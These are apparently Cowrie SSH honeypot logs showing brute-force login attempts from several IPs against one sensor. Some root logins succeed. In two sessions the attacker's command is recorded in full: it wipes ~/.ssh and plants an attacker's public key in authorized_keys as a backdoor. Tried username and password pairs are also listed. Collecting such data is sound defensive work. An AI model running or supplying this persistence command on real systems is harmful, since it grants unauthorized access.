{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:43.005426Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:43.108299Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rosita","message":"login attempt [user/rosita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:43.584882Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"restless","message":"login attempt [user/restless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:44.687934Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rerere","message":"login attempt [user/rerere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:45.791778Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"reed","message":"login attempt [user/reed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:46.895163Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"redstorm","message":"login attempt [user/redstorm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:48.000446Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:49.104099Z","src_ip":"2.57.121.25","session":"b999acb21e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":46668,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b1b3671b02","protocol":"ssh","message":"New connection: 166.1.60.230:46668 (159.203.135.109:22) [session: 27b1b3671b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.083673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.087853Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.093041Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"beer","message":"login attempt [root/beer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.166827Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.221252Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.225049Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.228964Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.241083Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.290411Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.294106Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.306685Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.310529Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd5fe2b667c0","protocol":"ssh","message":"New connection: 166.1.60.230:46680 (159.203.135.109:22) [session: bd5fe2b667c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.315500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.325431Z","src_ip":"166.1.60.230","session":"bd5fe2b667c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.330577Z","src_ip":"166.1.60.230","session":"bd5fe2b667c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:20.385338Z","src_ip":"166.1.60.230","session":"bd5fe2b667c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.393569Z","src_ip":"166.1.60.230","session":"bd5fe2b667c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":56220,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f50c479334","protocol":"ssh","message":"New connection: 166.1.60.230:56220 (159.203.135.109:22) [session: 39f50c479334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.397588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.401144Z","src_ip":"166.1.60.230","session":"39f50c479334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.405032Z","src_ip":"166.1.60.230","session":"39f50c479334","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.459607Z","src_ip":"166.1.60.230","session":"39f50c479334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.474267Z","src_ip":"166.1.60.230","session":"27b1b3671b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:12:21.479175Z","src_ip":"166.1.60.230","session":"39f50c479334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.65.126","src_port":49810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2630cce095fc","protocol":"ssh","message":"New connection: 87.106.65.126:49810 (159.203.135.109:22) [session: 2630cce095fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:11.762898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:11.768433Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:11.848706Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ms123","message":"login attempt [root/ms123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.199239Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.398752Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.401744Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.405283Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.487279Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.689099Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.692246Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.776095Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.779430Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.65.126","src_port":18238,"dst_ip":"159.203.135.109","dst_port":22,"session":"047c78d75c4e","protocol":"ssh","message":"New connection: 87.106.65.126:18238 (159.203.135.109:22) [session: 047c78d75c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.852562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.856850Z","src_ip":"87.106.65.126","session":"047c78d75c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.